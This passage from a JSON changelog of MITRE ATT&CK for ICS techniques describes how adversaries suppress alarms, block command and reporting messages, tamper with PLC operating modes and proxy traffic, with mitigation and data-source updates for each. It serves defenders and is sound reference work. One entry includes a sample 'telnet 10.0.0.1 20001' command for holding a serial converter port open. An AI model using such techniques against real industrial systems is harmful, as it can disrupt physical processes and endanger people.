[ "Joe Slowik - Dragos" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Device Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:14:01.612000+00:00\", \"old_value\": \"2021-04-13 12:02:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Application logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Device Alarm\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2900bbd8-308a-4274-b074-5b8bde8347bc", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Alarm Suppression", "description": "Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. \n\nIn the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Maroochy - MITRE - 200808)\n\nA Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. (Citation: References - Secura - 2019) The method of suppression may greatly depend on the type of alarm in question:\n\n* An alarm raised by a protocol message\n* An alarm signaled with I/O\n* An alarm bit set in a flag (and read)\n\nIn ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0878", "external_id": "T0878" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "References - Secura - 2019", "description": "Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. 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This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0802", "external_id": "T0802" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Access", "Script: Script Execution", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay", "Control Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Access\", \"old_value\": \"Data loss prevention\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Script: Script Execution\", \"old_value\": \"Process command-line parameters\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][3]\": \"Network Traffic: Network Traffic Content\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0807: Network Allowlists", "M0930: Network Segmentation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--008b8f56-6107-48be-aa9f-746f927dbb61", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Block Command Message", "description": "Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0803", "external_id": "T0803" }, { "source_name": "Research - Research - Taxonomy Cyber Attacks on SCADA", "description": "Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.", "url": "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation", "Application Log: Application Log Content", "Process: Process Termination", "Operational Databases: Process History/Live Data", "Operational Databases: Process/Event Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Device Configuration/Parameters" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Alarm History\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Connection Creation\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Packet capture\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][3]\": \"Process: Process Termination\", \"root['x_mitre_data_sources'][4]\": \"Operational Databases: Process History/Live Data\", \"root['x_mitre_data_sources'][5]\": \"Operational Databases: Process/Event Alarm\", \"root['x_mitre_platforms'][1]\": \"Device Configuration/Parameters\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0807: Network Allowlists", "M0810: Out-of-Band Communications Channel", "M0814: Static Network Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3f1f4ccb-9be2-4ff8-8f69-dd972221169b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Block Reporting Message", "description": "Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0804", "external_id": "T0804" }, { "source_name": "Research - Research - Taxonomy Cyber Attacks on SCADA", "description": "Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.", "url": "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation", "Application Log: Application Log Content", "Process: Process Termination", "Operational Databases: Process History/Live Data", "Operational Databases: Process/Event Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Input/Output Server", "Device Configuration/Parameters" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Alarm History\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Connection Creation\", \"old_value\": \"Data historian\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Process: Process Termination\", \"old_value\": \"Packet capture\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][4]\": \"Operational Databases: Process History/Live Data\", \"root['x_mitre_data_sources'][5]\": \"Operational Databases: Process/Event Alarm\", \"root['x_mitre_platforms'][2]\": \"Device Configuration/Parameters\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0807: Network Allowlists", "M0810: Out-of-Band Communications Channel", "M0814: Static Network Configuration", "M0945: Code Signing", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1c478716-71d9-46a4-9a53-fa5d576adb60", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Block Serial COM", "description": "Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. \n\nA serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0805", "external_id": "T0805" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation", "Application Log: Application Log Content", "Process: Process Termination", "Operational Databases: Process History/Live Data", "Operational Databases: Process/Event Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Input/Output Server", "Device Configuration/Parameters" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Connection Creation\", \"old_value\": \"Data historian\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Process: Process Termination\", \"old_value\": \"Packet capture\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][4]\": \"Operational Databases: Process History/Live Data\", \"root['x_mitre_data_sources'][5]\": \"Operational Databases: Process/Event Alarm\", \"root['x_mitre_platforms'][2]\": \"Device Configuration/Parameters\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0807: Network Allowlists", "M0810: Out-of-Band Communications Channel", "M0930: Network Segmentation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8e7089d3-fba2-44f8-94a8-9a79c53920c4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-14 13:04:01.612000+00:00", "name": "Brute Force I/O", "description": "Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary\u2019s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point.\n\nAdversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impair-process-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0806", "external_id": "T0806" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Process History/Live Data" ], "x_mitre_platforms": [ "Control Server", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary\\u2019s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point.\\n\\nAdversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment.\", \"old_value\": \"Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.\\n+Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary\\u2019s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point.\\n+\\n+Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment.\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Process History/Live Data\", \"old_value\": \"Data historian\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Netflow/Enclave netflow\", \"root['x_mitre_data_sources'][4]\": \"Network protocol analysis\", \"root['x_mitre_data_sources'][5]\": \"Packet capture\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may brute force I/O addresses on a device and att1Adversaries may repetitively or successively change I/O poin
>tempt to exhaustively perform an action. By enumerating the >t values to perform an action. Brute Force I/O may be achiev
>full range of I/O addresses, an adversary may manipulate a p>ed by changing either a range of I/O point values or a singl
>rocess function without having to target specific I/O interf>e point value repeatedly to manipulate a process function. T
>aces. More than one process function manipulation and enumer>he adversary\u2019s goal and the information they have about the 
>ation pass may occur on the targeted I/O range in a brute fo>target environment will influence which of the options they 
>rce attempt.>choose. In the case of brute forcing a range of point values
 >, the adversary may be able to achieve an impact without tar
 >geting a specific point. In the case where a single point is
 > targeted, the adversary may be able to generate instability
 > on the process function associated with that particular poi
 >nt.  Adversaries may use Brute Force I/O to cause failures w
 >ithin various industrial processes. These failures could be 
 >the result of wear on equipment, or damage to downstream equ
 >ipment.
", "changelog_mitigations": { "shared": [ "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2883c520-7957-46ca-89bd-dab1ad53b601", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Change Operating Mode", "description": "Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller\u2019s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller\u2019s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device\u2019s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC\u2019s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device\u2019s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program\u2019s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC\u2019s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "evasion-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0858", "external_id": "T0858" }, { "source_name": "Forum Automation PLC Operating Modes October 2017", "description": "N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.", "url": "https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489" }, { "source_name": "Omrom PLC Different Operating Modes", "description": "Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.", "url": "https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified." }, { "source_name": "Machine Information Systems How PLCs Work 2007", "description": "Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.", "url": "http://www.machine-information-systems.com/How_PLCs_Work.html" }, { "source_name": "PLCgurus PLC Basics 2021", "description": "PLCgurus. (2021). PLC Basics \u2013 Modes Of Operation. Retrieved January 28, 2021.", "url": "https://www.plcgurus.net/plc-basics/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Device Alarm" ], "x_mitre_platforms": [ "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2021-04-13 11:42:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Device Alarm\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--24a9253e-8948-4c98-b751-8e2aee53127c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Command-Line Interface", "description": "Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation.\n\nCLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context.\n\nMany controllers have CLI interfaces for management purposes.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0807", "external_id": "T0807" }, { "source_name": "EAttack Command-Line Interface", "description": "Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1059" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Module: Module Load", "Process: Process Creation", "Script: Script Execution" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Field Controller/RTU/PLC/IED", "Human-Machine Interface", "Input/Output Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Module: Module Load\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Packet capture\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"Control Server\", \"old_value\": \"Windows\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][4]\": \"Script: Script Execution\", \"root['x_mitre_platforms'][1]\": \"Data Historian\", \"root['x_mitre_platforms'][2]\": \"Field Controller/RTU/PLC/IED\", \"root['x_mitre_platforms'][3]\": \"Human-Machine Interface\", \"root['x_mitre_platforms'][4]\": \"Input/Output Server\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0938: Execution Prevention", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e6c31185-8040-4267-83d3-b217b8a92f07", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Commonly Used Port", "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below.\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP/UDP:53 (DNS)\n* TCP:1024-4999 (OPC on XP/Win2k3)\n* TCP:49152-65535 (OPC on Vista and later)\n* TCP:23 (TELNET)\n* UDP:161 (SNMP)\n* TCP:502 (MODBUS)\n* TCP:102 (S7comm/ISO-TSAP)\n* TCP:20000 (DNP3)\n* TCP:44818 (Ethernet/IP)\n\nContributors: Matan Dobrushin - Otorio", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "command-and-control-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0885", "external_id": "T0885" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Matan Dobrushin - Otorio" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED", "Human-Machine Interface", "Control Server", "Engineering Workstation" ], "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0804: Human User Authentication", "M0930: Network Segmentation", "M0931: Network Intrusion Prevention", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d67adac8-e3b9-44f9-9e6d-6c2a7d69dbe4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Connection Proxy", "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications.\n\nThe definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy)\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "command-and-control-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0884", "external_id": "T0884" }, { "source_name": "EAttack 